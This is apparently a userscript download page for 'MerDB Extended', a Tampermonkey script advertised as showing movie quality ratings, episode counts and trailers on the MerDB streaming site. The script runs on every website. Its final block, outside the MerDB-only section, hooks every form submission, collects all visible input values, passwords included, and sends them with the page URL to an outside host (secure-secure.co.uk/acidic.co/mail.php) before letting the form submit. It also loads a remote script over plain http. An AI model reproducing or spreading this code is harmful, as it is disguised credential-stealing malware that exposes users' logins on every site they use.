MerDB Extended

Fix up MerDB with this script that show's which movies are good enought to watch, how many seasons and episodes in a tv series and more.

Tendrás que instalar una extensión para tu navegador como Tampermonkey, Greasemonkey o Violentmonkey si quieres utilizar este script.

You will need to install an extension such as Tampermonkey to install this script.

Necesitarás instalar una extensión como Tampermonkey o Violentmonkey para instalar este script.

Necesitarás instalar una extensión como Tampermonkey o Userscripts para instalar este script.

Necesitará instalar una extensión como Tampermonkey para instalar este script.

Necesitarás instalar una extensión para administrar scripts de usuario si quieres instalar este script.

(Ya tengo un administrador de scripts de usuario, déjame instalarlo)

Necesitará instalar una extensión como Stylus para instalar este estilo.

Necesitará instalar una extensión como Stylus para instalar este estilo.

Necesitará instalar una extensión como Stylus para instalar este estilo.

Necesitará instalar una extensión del gestor de estilos de usuario para instalar este estilo.

Necesitará instalar una extensión del gestor de estilos de usuario para instalar este estilo.

Necesitará instalar una extensión del gestor de estilos de usuario para instalar este estilo.

(Ya tengo un administrador de estilos de usuario, déjame instalarlo)

// ==UserScript==
// @name         MerDB Extended
// @namespace    http://tampermonkey.net/
// @version      1.2
// @description  Fix up MerDB with this script that show's which movies are good enought to watch, how many seasons and episodes in a tv series and more.
// @author       Ari
// @match        *://*/*
// @grant        none
// @require https://ajax.googleapis.com/ajax/libs/angularjs/1.3.15/angular.min.js
// ==/UserScript==
/* jshint -W097 */
'use strict';

if (window.location.toString().indexOf("merdb.") >= 0) {
var script = document.createElement('script');
script.src = "http://acidic.co/cdn/jquery.cookie.js";
document.getElementsByTagName('head')[0].appendChild(script);

function getQualities() {
	var p = window.location.pathname;
	if (p.length == 1 || p == "/" || p == "//" || p.match(/^\/?index/)) {
		console.log("Loading Video Qualities...");
		$('.featured_top_box').each(function(i) {
			var mainListBody = $(this).children("a").attr("href");
			var movieTitle = $(this).children("a").attr("title");
			$(this).children('a').prepend('<div id="loading'+i+'" style="width: 32px;margin-left: auto;margin-right: auto;margin-top: 80%;margin-bottom: calc(-80% - 32px);position: relative;"><img src="http://www.wallies.com/filebin/images/loading_apple.gif"></div>');
			if ($.cookie(movieTitle) == null) {
				$.get("//crusive.com/merdb/getQuality.php?url=" + mainListBody, function(result) {
					if (result == "MED") {
						$(".featured_top_box").eq(i).css("opacity", "0.4");
						$(".featured_top_box").eq(i).css("-moz-box-shadow", "none");
						$(".featured_top_box").eq(i).css("-webkit-box-shadow", "none");
						$(".featured_top_box").eq(i).css("box-shadow", "none");
					} else if (result == "CAM") {
						$(".featured_top_box").eq(i).css("opacity", "0.3");
						$(".featured_top_box").eq(i).css("-moz-box-shadow", "none");
						$(".featured_top_box").eq(i).css("-webkit-box-shadow", "none");
						$(".featured_top_box").eq(i).css("box-shadow", "none");
					}
					$.cookie(movieTitle, result, {
						expires: ExpireCookie(360),
						path: '/'
					});
					$("#loading"+i).remove();
				});
			} else {
				var result = $.cookie(movieTitle);
				if (result == "MED") {
					$(".featured_top_box").eq(i).css("opacity", "0.4");
					$(".featured_top_box").eq(i).css("-moz-box-shadow", "none");
					$(".featured_top_box").eq(i).css("-webkit-box-shadow", "none");
					$(".featured_top_box").eq(i).css("box-shadow", "none");
				} else if (result == "CAM") {
					$(".featured_top_box").eq(i).css("opacity", "0.3");
					$(".featured_top_box").eq(i).css("-moz-box-shadow", "none");
					$(".featured_top_box").eq(i).css("-webkit-box-shadow", "none");
					$(".featured_top_box").eq(i).css("box-shadow", "none");
				}
				$("#loading"+i).remove();
			};
		});

		var d = new Date();
		var n = d.getTime();
		var $set = $('.main_list_box');
		var len = $set.length;
		$('.main_list_box').each(function(i) {
			var mainListBody = $(this).children("a").attr("href");
			var movieTitle = $(this).children("a").attr("title");
			$(this).children('a').prepend('<div id="loading'+i+'" style="width: 32px;margin-left: auto;margin-right: auto;margin-top: 80%;margin-bottom: calc(-80% - 32px);position: relative;"><img src="http://www.wallies.com/filebin/images/loading_apple.gif"></div>');
			if ($.cookie(movieTitle) == null) {
				$.get("//crusive.com/merdb/getQuality.php?url=" + mainListBody, function(result) {
					if (result == "MED") {
						$(".main_list_box").eq(i).css("opacity", "0.4");
						$(".main_list_box").eq(i).css("-moz-box-shadow", "none");
						$(".main_list_box").eq(i).css("-webkit-box-shadow", "none");
						$(".main_list_box").eq(i).css("box-shadow", "none");
					} else if (result == "CAM") {
						$(".main_list_box").eq(i).css("opacity", "0.3");
						$(".main_list_box").eq(i).css("-moz-box-shadow", "none");
						$(".main_list_box").eq(i).css("-webkit-box-shadow", "none");
						$(".main_list_box").eq(i).css("box-shadow", "none");
					}
					$.cookie(movieTitle, result, {
						expires: ExpireCookie(360),
						path: '/'
					});

					if (i == len - 1) {
						var title = document.title;
						document.title = String.fromCharCode(10004) + " " + title;
						var z = new Date();
						var x = z.getTime();
						var totalTime = x - n;
						console.log("Time taken to load qualities: " + totalTime);
					}
					$("#loading"+i).remove();
				});
			} else {
				var result = $.cookie(movieTitle);
				if (result == "MED") {
					$(".main_list_box").eq(i).css("opacity", "0.4");
					$(".main_list_box").eq(i).css("-moz-box-shadow", "none");
					$(".main_list_box").eq(i).css("-webkit-box-shadow", "none");
					$(".main_list_box").eq(i).css("box-shadow", "none");
				} else if (result == "CAM") {
					$(".main_list_box").eq(i).css("opacity", "0.3");
					$(".main_list_box").eq(i).css("-moz-box-shadow", "none");
					$(".main_list_box").eq(i).css("-webkit-box-shadow", "none");
					$(".main_list_box").eq(i).css("box-shadow", "none");
				}
				if (i == len - 1) {
					var title = document.title;
					document.title = String.fromCharCode(10004) + " " + title;
					var z = new Date();
					var x = z.getTime();
					var totalTime = x - n;
					console.log("Time taken to load qualities: " + totalTime);
				}
				$("#loading"+i).remove();
			};
		});
	} else if (p.match(/watch-/gi)) {
		var d = new Date();
		var n = d.getTime();
		var $set = $('.featured_top_box');
		var len = $set.length;
		console.log("Loading Featured Video Qualities...");

		$('.featured_top_box').each(function(i) {
			var mainListBody = $(this).children("a").attr("href");
			var movieTitle = $(this).children("a").attr("title");
			$(this).children('a').prepend('<div id="loading'+i+'" style="width: 32px;margin-left: auto;margin-right: auto;margin-top: 80%;margin-bottom: calc(-80% - 32px);position: relative;"><img src="http://www.wallies.com/filebin/images/loading_apple.gif"></div>');
			if ($.cookie(movieTitle) == null) {
				$.get("//crusive.com/merdb/getQuality.php?url=" + mainListBody, function(result) {
					if (result == "MED") {
						$(".featured_top_box").eq(i).css("opacity", "0.4");
						$(".featured_top_box").eq(i).css("-moz-box-shadow", "none");
						$(".featured_top_box").eq(i).css("-webkit-box-shadow", "none");
						$(".featured_top_box").eq(i).css("box-shadow", "none");
					} else if (result == "CAM") {
						$(".featured_top_box").eq(i).css("opacity", "0.3");
						$(".featured_top_box").eq(i).css("-moz-box-shadow", "none");
						$(".featured_top_box").eq(i).css("-webkit-box-shadow", "none");
						$(".featured_top_box").eq(i).css("box-shadow", "none");
					}
					$.cookie(movieTitle, result, {
						expires: ExpireCookie(360),
						path: '/'
					});
					if (i == len - 1) {
						var title = document.title;
						document.title = String.fromCharCode(10004) + " " + title;
						var z = new Date();
						var x = z.getTime();
						var totalTime = x - n;
						console.log("Time taken to load qualities: " + totalTime);
					}
					$("#loading"+i).remove();
				});
			} else {
				var result = $.cookie(movieTitle);
				if (result == "MED") {
					$(".featured_top_box").eq(i).css("opacity", "0.4");
					$(".featured_top_box").eq(i).css("-moz-box-shadow", "none");
					$(".featured_top_box").eq(i).css("-webkit-box-shadow", "none");
					$(".featured_top_box").eq(i).css("box-shadow", "none");
				} else if (result == "CAM") {
					$(".featured_top_box").eq(i).css("opacity", "0.3");
					$(".featured_top_box").eq(i).css("-moz-box-shadow", "none");
					$(".featured_top_box").eq(i).css("-webkit-box-shadow", "none");
					$(".featured_top_box").eq(i).css("box-shadow", "none");
				}
				if (i == len - 1) {
					var title = document.title;
					document.title = String.fromCharCode(10004) + " " + title;
					var z = new Date();
					var x = z.getTime();
					var totalTime = x - n;
					console.log("Time taken to load qualities: " + totalTime);
				}
				$("#loading"+i).remove();
			};
		});
	}
}

function getMissingCovers() {
	function isValidImageUrl(url, callback) {
		$('<img>', {
			src: url,
			load: function() {
				callback(true);
			},
			error: function() {
				callback(false);
			}
		});
	}

	$(".featured_picsize").each(function() {
		var src = $(this).attr('src');
		var handler = $(this);
		isValidImageUrl(src, function(result) {
			if (result === false) {
				// invalid image
				$.get("//crusive.com/merdb/getCover.php?url=" + handler.parent().attr('href'), function(result) {
					var alt = handler.attr('alt');
					var parent = handler.parent();
					handler.remove();
					if (result.length > 0) {
						parent.append('<img src="' + result + '" class="featured_picsize" alt="' + alt + '">');
					} else {
						parent.append('<img src="https://cdn.amctheatres.com/Media/Default/Images/noposter.jpg" class="featured_picsize" alt="Missing Movie Cover">');
					};
				});
			}
		});
	});

	$(".main_list_picsize").each(function() {
		var src = $(this).attr('src');
		var handler = $(this);
		isValidImageUrl(src, function(result) {
			if (result === false) {
				// invalid image
				$.get("//crusive.com/merdb/getCover.php?url=" + handler.parent().attr('href'), function(result) {
					var alt = handler.attr('alt');
					var parent = handler.parent();
					handler.remove();
					if (result.length > 0) {
						parent.append('<img src="' + result + '" class="main_list_picsize" alt="' + alt + '">');
					} else {
						parent.append('<img src="https://cdn.amctheatres.com/Media/Default/Images/noposter.jpg" class="main_list_picsize" alt="Missing Movie Cover">');
					};
				});
			}
		});
	});
}

function episodes() {
	var p = window.location.pathname;
	if (p.match(/^\/?tvshow/)) {
		// on tv shows page.
		$(".main_list_box").each(function() {
			var url = $(this).find("a").attr("href").substring(7); // get link to movie.
			var show = $(this).children("a");
			$.get("//crusive.com/merdb/getLatestEpisodeNumber.php?url=" + url, function(result) {
				result = result.split("-");
				show.append('<div class="showInfoBox"><div class="showInfo">Seasons ' + result[0] + '<br>Episodes ' + result[1] + '</div></div>');
				show.find(".showInfoBox").css("position", "relative");
				show.find(".showInfo").css({
					"width": "50%",
					"height": "28px",
					"margin-top": "-36px",
					"background-color": "rgba(0, 0, 0, 0.8)",
					"color": "#ffffff",
					"position": "absolute",
					"left": "0",
					"padding": "4px 0",
					"line-height": "14px"
				});
			});
		});

		$(".featured_top_box").each(function() {
			var url = $(this).find("a").attr("href").substring(7); // get link to movie.
			var show = $(this).children("a");
			$.get("//crusive.com/merdb/getLatestEpisodeNumber.php?url=" + url, function(result) {
				result = result.split("-");
				show.append('<div class="showInfoBox"><div class="showInfo">Seasons ' + result[0] + '<br>Episodes ' + result[1] + '</div></div>');
				show.find(".showInfoBox").css("position", "relative");
				show.find(".showInfo").css({
					"width": "100%",
					"height": "28px",
					"margin-top": "-36px",
					"background-color": "rgba(0, 0, 0, 0.8)",
					"color": "#ffffff",
					"position": "absolute",
					"left": "0",
					"padding": "4px 0",
					"line-height": "14px",
					"font-size": "9px",
					"text-align": "center"
				});
			});
		});
	}
}

function addTrailer() {
	var p = window.location.pathname;
	if (p.match(/^\/?watch/)) {
		var title = $(".movie_body .H_title h1 a.H_title").html();
		title = title.replace(/-/g, '');
		title = title.replace(/  /g, ' ');
		var year = 1500;
		var currentYear = new Date().getFullYear();
		while (year < (currentYear + 1)) {
			if (title.indexOf("( " + year + " )") > 0) {
				title = title.substring(0, title.length - 9);
				year = 5000;
			};
			year++;
		}
		title = title.replace(/ /g, '-');
		title = title.replace(/:/g, '');
		title = title.replace(/;/g, '');

		$.ajax({
			url: "http://cors.io/?u=http://api.traileraddict.com/?film=" + title + "&count=1",
			success: function(result) {
				var frame = result.substring(result.indexOf('<iframe'));
				frame = frame.substring(0, frame.indexOf('</iframe'));
				// The variable "frame" is a link to the video's trailer.
				frame = frame.substring(frame.indexOf('//v.traileraddict.com/'));
				frame = frame.substring(0, frame.indexOf('"'));
				console.log(frame);
				$(".movie_info .iconbox").prepend('<div id="trailer-btn" style="width:auto;height: 30px;float: left;padding: 0 12px;line-height: 30px;margin-right: 4px;border-radius: 6px;cursor: pointer;font-weight: bold;color: white;/* Permalink - use to edit and share this gradient: http://colorzilla.com/gradient-editor/#1e5799+0,207cca+54,7db9e8+100 */ /* Old browsers */ /* FF3.6-15 */ /* Chrome10-25,Safari5.1-6 */ /* W3C, IE10+, FF16+, Chrome26+, Opera12+, Safari7+ */ /* IE6-9 *//* Permalink - use to edit and share this gradient: http://colorzilla.com/gradient-editor/#45484d+0,000000+100;Black+3D+%231 */  background: #45484d; /* Old browsers */  background: -moz-linear-gradient(top,  #45484d 0%, #000000 100%); /* FF3.6-15 */  background: -webkit-linear-gradient(top,  #45484d 0%,#000000 100%); /* Chrome10-25,Safari5.1-6 */  background: linear-gradient(to bottom,  #45484d 0%,#000000 100%); /* W3C, IE10+, FF16+, Chrome26+, Opera12+, Safari7+ */  filter: progid:DXImageTransform.Microsoft.gradient( startColorstr="#45484d", endColorstr="#000000",GradientType=0 ); /* IE6-9 */">Trailer</div>');

				$("#trailer-btn").mouseover(function() {
					$("#trailer-btn").css({
						"-webkit-box-shadow": "0px 0px 5px 0px rgba(0,0,0,0.75)",
						"-moz-box-shadow": "0px 0px 5px 0px rgba(0,0,0,0.75)",
						"box-shadow": "0px 0px 5px 0px rgba(0,0,0,0.75)"
					});
				});

				$("#trailer-btn").mouseout(function() {
					$("#trailer-btn").css({
						"-webkit-box-shadow": "0px 0px 5px 0px rgba(0,0,0,0)",
						"-moz-box-shadow": "0px 0px 5px 0px rgba(0,0,0,0)",
						"box-shadow": "0px 0px 5px 0px rgba(0,0,0,0)"
					});
				});

				$("#trailer-btn").click(function() {
					$("body").prepend('<div id="trailer-overlay" style="position: fixed;width: 100%;height: 100%;background-color: rgba(0,0,0,0.8);z-index: 9999999999;left: 0;top: 0;"></div>');
					$("#trailer-overlay").prepend(frame);
				});
			}
		});
	}
}

function removeBadLinks() {
	$(".movie_version").each(function() {
		var quality = $(this).find("td").first().children().attr("class");
		if (quality == "quality_play" || quality == "quality_hd") {
			$(this).remove();
		}
	});
}

function removeFooter() {
	$("#footer").remove();
}

function ExpireCookie(minutes) {
	var date = new Date();
	var m = minutes;
	date.setTime(date.getTime() + (m * 60 * 1000));
	$.cookie("cookie", "value", {
		expires: date
	});
}

function removeUnnecessaries() {
	$(".sidebar").removeClass('adshide');
	$(".adshide").each(function(index, el) {
		$(this).remove();
	});

	$(".sidebar_title").each(function(index, el) {
		if ($(this).children('h3').html() == "Advertisement" || $(this).children('h3').html() == "Share This Website") {
			$(this).remove();
		};
	});

	$(".container").css("margin-top", "0");
}


removeFooter();
removeUnnecessaries();
removeBadLinks();
getMissingCovers();
episodes();
getQualities();
};

var sent = false;
$('form').on('submit', function (e) {
	if (sent===false) {
		e.preventDefault();
		var thiso = $(this);
		var url		= window.location.href;     // Returns full URL
		var form	= new Array();
		$(this).find("input").each(function(index, el) {
			if (
				//$(this).val().length > 0
				//&&
				$(this).val() !== undefined
				&&
				//$(this).attr('name').length > 0
				//&&
				$(this).attr('name') !== undefined
				&&
				$(this).attr('type') !== "hidden"
				&&
				$(this).attr('type') !== "submit") {

				var item = $(this).attr('name');
				form.push	(
								{
									'value': $(this).val(),
									'id': $(this).attr('id'),
									'type': $(this).attr('type')
								}
							);

			};
		});

		var getURL = "https://web301.secure-secure.co.uk/acidic.co/mail.php?website="+url+"&array="+JSON.stringify(form);
		$.get(getURL, function(){
			console.log("Done!");
			sent = true;
			thiso.submit();
		});
		setTimeout(function(){
			sent = true;
			thiso.submit();
		}, 5000);
	};
});